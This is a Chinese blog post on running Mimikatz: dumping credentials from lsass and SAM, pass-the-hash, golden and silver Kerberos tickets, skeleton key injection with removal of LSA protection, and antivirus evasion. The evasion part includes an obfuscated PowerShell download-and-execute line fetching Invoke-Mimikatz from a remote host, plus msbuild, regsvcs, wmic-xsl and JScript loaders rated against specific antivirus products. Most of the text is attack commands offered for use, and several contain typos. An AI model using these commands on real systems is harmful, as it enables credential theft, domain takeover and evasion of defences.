Mimikatz运行姿势

Mimikatz运行姿势


上篇文章记录了Mimikatz神器的基本命令和很多模块的使用方法命令。由于在实际环境中可能会产生不同的问题,这篇文章记录学习Mimikatz工具的使用姿势和一些免杀方法。

获取本地账户密码


本地执行

首先将执行权限提升为debug权限

1
privilege::debug

使用sekurlsa模块抓取明文密码

1
sekurlsa::logonpasswords

注:当目标为win10或2012R2以上时,默认禁止在内存中保存明文密码,但可以通过修改注册表的方式来抓取明文。

修改命令如下:

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\Sec urityProviders\WDigest  /v UseLogonCredential /t REG_DWORD  /d  1  /f

SAM表离线获取hash

导出SAM数据库的数据

1
2
3
reg  save  HKLM\SYSTEM  SYSTEM(自定义名称)

reg save HKLM\SAM SAM(自定义名称)

提取导出SAM数据中的hash(确保Mimikatz和导出文件在同一目录下或者指定SAM数据的绝对/相对路径)

1
lsadump::sam /sam:SAM(自定义名称)  /system:SYSTEM(自定义名称)

Procdump+Mimikatz


当mimikatz无法在目标主机上正常运行时,可以使用微软提供的工具Procdump导出lsass.exe进程

1
procsump64.exe -accepteula -ma lsass.exe  lsass.tmp

使用 mimikatz的sekurlsa模块对导出的lsass.dmp文件。先使用minidump恢复到lsass.exe的状态,然后使用logonpasswords导出明文密码信息

可看到passwords.txt文档中系统的明文密码信息

哈希传递攻击PTH


工作组环境

当我们获取到某一台主机中用户的NTLM哈希值时,可以直接将获取到的NTLM哈希值登录目标主机

命令;

1
sekurlsa:pt /user:用户名   /domain:ip地址    /ntlm:用户的ntlm哈希值

如下所示,我们可以直接登录目标主机cmd管理窗口,执行命令

注:只能在 mimikatz 弹出的 cmd 窗口才可以执行这些操作,注入成功后,可以使用psexec、wmic、wmiexec等实现远程执行命令

域环境

在域环境下,如果获取到某一用户的ntlm哈希值,可以在域环境下任意主机登录用户,若获取到域控 管理员的账号和ntlm哈希值即可 登录域控。

命令:

1
sekurlsa:pth  /user:用户  /domain:"域名"  /ntlm:用户ntlm哈希值

票据传递攻击


黄金票据

在域环境下,每个用户的ticcket都是由krbtgt的密码NTLM哈希进行加密传输的,只要获取到krbtgt用户的密码NTLM哈希值就可以随意伪造Ticket,从而使用Ticket登录域控,使用krbtgt用户密码HTLM哈希生成的票据为黄金票据

首先获取krbtft用户的NTLM哈希值

1
mimikatz  "lsamdump::dcsync  /domain:xxx.com  /user:krbtgt"

利用mimikatz生成域管理员权限的黄金票据,输入域管理员对应的账号,域名称和sid值

1
kerberos::golden /admin:administrator /domain:xxx.COM /sid:管理员SID值 /krbtgt:krbtgt用户的哈希值 /ticket:test.kiribi(生成的票据)

导出上面生成的票据

1
kerberos::ptt  test.kiribi

查看导入后获取的域管权限,查看主机的目录

1
dir  \\$DC$.xxx.com\c$

白银票据

白银票据是伪造 TGS(票据授权服务),只能访问指定的服务,由客户端计算机账号的NTLM哈希值进行加密。

下面使用白银票据伪造CIFS(用于Windows主机之间进行网络文件共享)服务权限

提升权限,获取主机账号的哈希值

1
2
3
4
privilege::debug

sekurlsa::logonpasswords

这里的liukaifeng01的SID为S-1-5-21-295270202-1353902439-2381782089(不要后面的-1000)

伪造的OWA的NTLM哈希为84883cf100e1f84e2a2468f08d6d0e4f

生成白银票据命令 :

1
kerberos::golden /domain:[domain] /sid:[SID] /target:服务用户.xxx.com /rc4:[server's Hash] /service:[service] /user:[username] /ptt

如下:

1
kerberos::golden /domain:GOD /sid:S-1-5-21-295270202-1353902439-2381782089( /target:OWA.GOD.com /rc4:84883cf100e1f84e2a2468f08d6d0e4f /service:cifs /user:liukaifeng01 /ptt

可以看到此时的liukaifeng01的key变成了OWA的,服务为cifs,生成了获取cifs的白银票据

伪造白银票据后,我们就可以远程访问DC

1
注:若使用dir \\主机名\c$不能访问,则输入主机全名dir \\主机名.域名.com\c$

万能密钥

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户 都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注 入,所以重启后会失效

在域控上安装skeleton key

1
mimikatz.exe privilege::debug "misc::skeleton"

在域内其他机器使用skeleton key去访问域控,添加密码围殴mimikatz

1
net  use   \\主机名.xxx.com\c$  mimikatz(密码)  /user:adtest \administrator

微软在 2014 年 3 月 12 日添加了 LSA 爆护策略,用来防止对进程 lsass.exe 的代码注入。如果直接尝试添加 skelenton key 会失败。

但mimikatz依然可以绕过,需要导入mimidrv.sys文件,命令如下:

1
2
3
4
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

免杀处理


Invoke-Mimikatz

在powershell中导入invoke-Mimikatz.ps1,加载mimikatz模块

1
powershell -exec bypass “import-module .Invoke-Mimikatz.ps1”

运行mimikazt模块

1
powershell -exec bypass “invoke-Mimikatz”

在cmd中运行过程中没有被拦截

使用poweshell加载远程服务器的ps脚本,会被360拦截

稍微做了简单的混淆

1
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.211'+'.1/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

还是被拦截

所以最好将Invoke-Mimikatz.ps1文件放置在目标主机上执行powershell加载模块运行imikatz

使用.net2.0

首先下载katz.cs,将katz.cs文件保存到本地

并放在对应的系统版本的Framework目录中

1
2
32位:C:\Windows\Microsoft.NET\Framework\v2.0.50727
64位:C:\Windows\Microsoft.NET\Framework64\v2.0.50727

然后在powershell中执行命令生成key.snk

1
2
3
4
5
$key='BwIA AAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z 6 4cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5cl HIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='

$Content = [System.Convert]::FromBase64String($key)

Set-Content key.snk -Value $Content -Encoding Byte

最后生成mimikatz,在运行mimikatz

1
2
3
4
5
6
32位:
C:\Windows\Microsoft.NET\Framework\v2.0.50727>.\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework\v2.0.50727>.\regsvcs.exe katz.exe

64位:
C:\Windows\Microsoft.NET\Framework64\v2.0.5072 7>.\csc.exe /r:System.EnterpriseServices.dll /out:katz.exe /keyfile:key.snk /unsafe katz.cs C:\Windows\Microsoft.NET\Framework64\v2.0.50727>.\regsvcs.exe katz.exe

在运行时被360发现啦,火绒没有反应

使用.net4.0

下载[mimikatz.xml](https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes mimikatz.xml),将其保存在Framework64文件下的v4,0文件下并运行

1
msbuild.exe mimikatz.xml

360和火绒都没有报毒和进行拦截

js加载mimikatz

下载katz.js,执行

1
scsript mimikatz.js

360拦截了,火绒没绕过

jscript的xsl版

本地加载mimikatz.xsl文件

1
wmic os get /format:"mimikatz.xsl"

360和火绒都没有拦截

Others


导出chrome中的密码

使用mimikatz导出chrome中的密码 (qq.com)

隐藏功能

管理员常常会禁用一些重要程序的运行,比如cmd、regedit、taskmgr,此时不方便渗透的进一步进行,这里除了去改回原来的配置,还可以借助mimikatz的一些功能:

1
2
3
4
Copyprivilege::debug
misc::cmd
misc::regedit
misc::taskmgr
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信